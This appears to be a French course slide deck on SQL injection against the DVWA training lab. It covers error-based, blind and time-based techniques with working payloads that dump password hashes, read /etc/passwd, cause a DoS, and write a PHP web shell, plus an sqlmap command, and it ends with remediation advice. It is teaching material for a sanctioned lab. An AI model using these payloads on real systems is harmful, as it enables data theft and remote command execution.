-
Vincent Mazenod authoredVincent Mazenod authored
- Injection SQL
- aka SQLi
- SQLi
- SQLi / types
- SQLi / payloads
- SQLi / low
- SQLi / low
- SQLi / low
- SQLi / low
- SQLi / low
- SQLi / low
- SQLi / medium
- SQLi / medium
- SQLi / high
- Blind SQLi / low
- Blind SQLi / low
- Blind SQLi / low
- Blind SQLi / low
- Blind SQLi / low
- Blind SQLi / low
- Blind SQLi / medium
- Blind SQLi / high
- True Blind SQLi / Time based
- True Blind SQLi / Time based
- SQLi / Low
- SQLi / Low / SQLmap
- SQLi / Fix
- SQLi / Fix
- SQLi / Fix
Injection SQL
aka SQLi
/
tapez <prez>.html?<username-uca>
dans votre navigateur pour suivre le cours avec votre nom de vm
SQLi
- envoie de données à un interpréteur
- l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (payload)
- toute source de données peut être utilisées
- paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
- au niveau de la requête et de la réponse
- toute source de données peut être utilisées
SQLi / types
-
- cas simple où les messages d'erreur base de données sont affichés
-
- cas plus complexe où les messages d'erreur base de données ne sont pas accessibles
- Un comportement différent selon que la payload est exécutée ou non
- cas plus complexe où les messages d'erreur base de données ne sont pas accessibles
SQLi / payloads
- lire des données "protégées"
- corrompre des données
- dénis de services
- lecture / écriture sur le système de fichiers
- exécution de commandes arbitraires
SQLi / low
-
détectable en tentant les caractères d'échappement " ou ' en /vulnerabilities/sqli/?id=%27&Submit=Submit#
-
L'idée est d'utiliser les commentaires # ou -- pour terminer prématurément l'exécution du SQL
User ID: ' OR 1=1 #
- affiche la liste de tous les utilisateurs
/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#
on cherche les mots de passe des utilisateurs
SQLi / low
déterminer le nombre de paramètres de la requêtes
User ID: ' OR 1=1 ORDER BY 1 #
/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#
/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#
il y a 2 champs dans la clause SELECT
SQLi / low
repérer qui est qui?
User ID: 6' UNION SELECT 1,2 #
First name: 1
Surname: 2
afficher la base de données et l'utilisateur courant
User ID: 6' UNION SELECT database(),current_user() #
First name: dvwa
Surname: dvwa@localhost
/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#
UNION ou Cross table
SQLi / low
afficher toutes les tables de la base de données dvwa
via la table virutelle information_schema
User ID: 6' UNION SELECT table_name,2
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dvwa' #
/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#
SQLi / low
afficher les noms de colonnes de la tables users
via la table virutelle information_schema
User ID: 6' UNION SELECT column_name,2
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'dvwa' #
/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#
SQLi / low
afficher les champs user
& password
de la table users
User ID: 6' UNION SELECT user,password FROM users #
/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#
crackstation.net pour une rainbow attack ou attaque par tables arc-en-ciel
SQLi / medium
détection
User ID: ' OR 1=1 #
a priori les ' sont échappés
SQLi / medium
User ID: 1 OR 1=1 #
le paramètre id est un entier
reprendre les étapes SQLi / low en remplacant
User ID: 6' ... #
User ID: 6 ... #
TABLE_SCHEMA = 'dvwa'
TABLE_SCHEMA = CHAR(100,118,119,97)
SQLi / high
Toute la séquence SQLi / low est valide
Blind SQLi / low
-
plus de message d'erreur
-
plus d'affichage des champs
-
identifier les comportements
User ID: 1
User ID exists in the database.
User ID: 6
User ID is MISSING from the database.
Blind SQLi / low
- identifier les comportements
- on sait que l'utilisateur 1 existe
User ID: 1' AND '1' = '2' #
User ID is MISSING from the database.
User ID: 1' AND '1' = '1' #
User ID exists in the database.
il y a une injection
Blind SQLi / low
déterminer le nom de la base de données
1' AND ORD(MID(DATABASE(),1,1)) = 100 #
-
DATABASE()
: renvoie la chaîne "dvwa" -
MID(DATABASE(),1,1)
: renvoie le première caractère de la chaîne retournée parDATABASE()
-
ORD()
: renvoie l'équivalent décimal du caractère en paramètre
Blind SQLi / low
déterminer le nombre de caractère dans le nom de la base de données
1' AND LENGTH(DATABASE()) = 4 #
déterminer le nom de la base de données
1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
1' AND ORD(MID(DATABASE(),4,1)) = 97 # a
Blind SQLi / low
déterminer le nom de la table
1' AND ORD(MID((SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g
déterminer le nombre de colonne de la table users
1' AND ORD(MID((SELECT COUNT(column_name)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
Blind SQLi / low
déterminer le nom des colonnes de la table users
1' AND ORD(MID((SELECT column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p
déterminer le hash d'un user
1' AND ORD(MID((SELECT password FROM dvwa.users
WHERE user='Pablo'),1,1)) = 48 # 0
Blind SQLi / medium
reprendre les étapes Blind SQLi / low en remplacant
User ID: 1' ... #
User ID: 1 ... #
table_schema='dvwa'
table_schema=0x64767761
Blind SQLi / high
Toute la séquence Blind SQLi / low est valide
True Blind SQLi / Time based
- Si aucun output n'est disponible
- on ajoute du calcul artificiellement
- la payload est exécutée
- le temps de réponse = temps de traitement + temps de calcul artificiel
- la payload n'est pas exécutée
- le temps de réponse = temps de traitement
- la payload est exécutée
- on ajoute du calcul artificiellement
problématique similaire à une booléenne
True Blind SQLi / Time based
User ID: 1' AND 1=0 UNION SELECT NULL,
benchmark(5000000, encode('MSG', 'pass-phrase'))
FROM users #
- chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
- DoS
- utile pour les True Blind SQLi ou Time Based
SQLi / Low
sous certaines conditions
User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
affiche tout le contenu du fichier /etc/passwd
User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>"
INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
écrit le fichier shell.php dans le système de fichiers
SQLi / Low / SQLmap
-
SQLmap Fait tous le boulot à votre palce
- en ligne de commmande
- affiche des résultats propres
- abstrait
- le moteur de base de données
- les différentes techniques d'injections
- en ligne de commmande
sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;"
--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low"
--tables
remplacer par la valeur de votre jeton de session
SQLi / Fix
- Ne plus utiliser les fonctions mysql_ leur préférer mysqli_
- Utiliser des requêtes préparées
- PDO, ORM : Doctrine2, Propel
- Être le plus silencieux possibles quant aux requêtes invalides
- @ mais pas or die()
- error_reporting, pas mysql_error() ni mysqli_error()
- Repérer les requêtes suspectes dans les logs
Note:
- TODO regarder si les messages sont désactiables à partir de MySQL
SQLi / Fix
- Filtrage par listes blanches
- caster
-
intval(), floatval(), ...
- si l'id est toujours un entier ...
-
intval(), floatval(), ...
- échappement des paramètres de requêtes
- caster
SQLi / Fix
- Web Application Firewall (WAF)
- Les privilèges de l'utilisateur SQL ont un sens
- FILE
- attention aux permissions sur la base de données
- information_schema ...
- Changer les préfixes de table des CMS quand c'est possible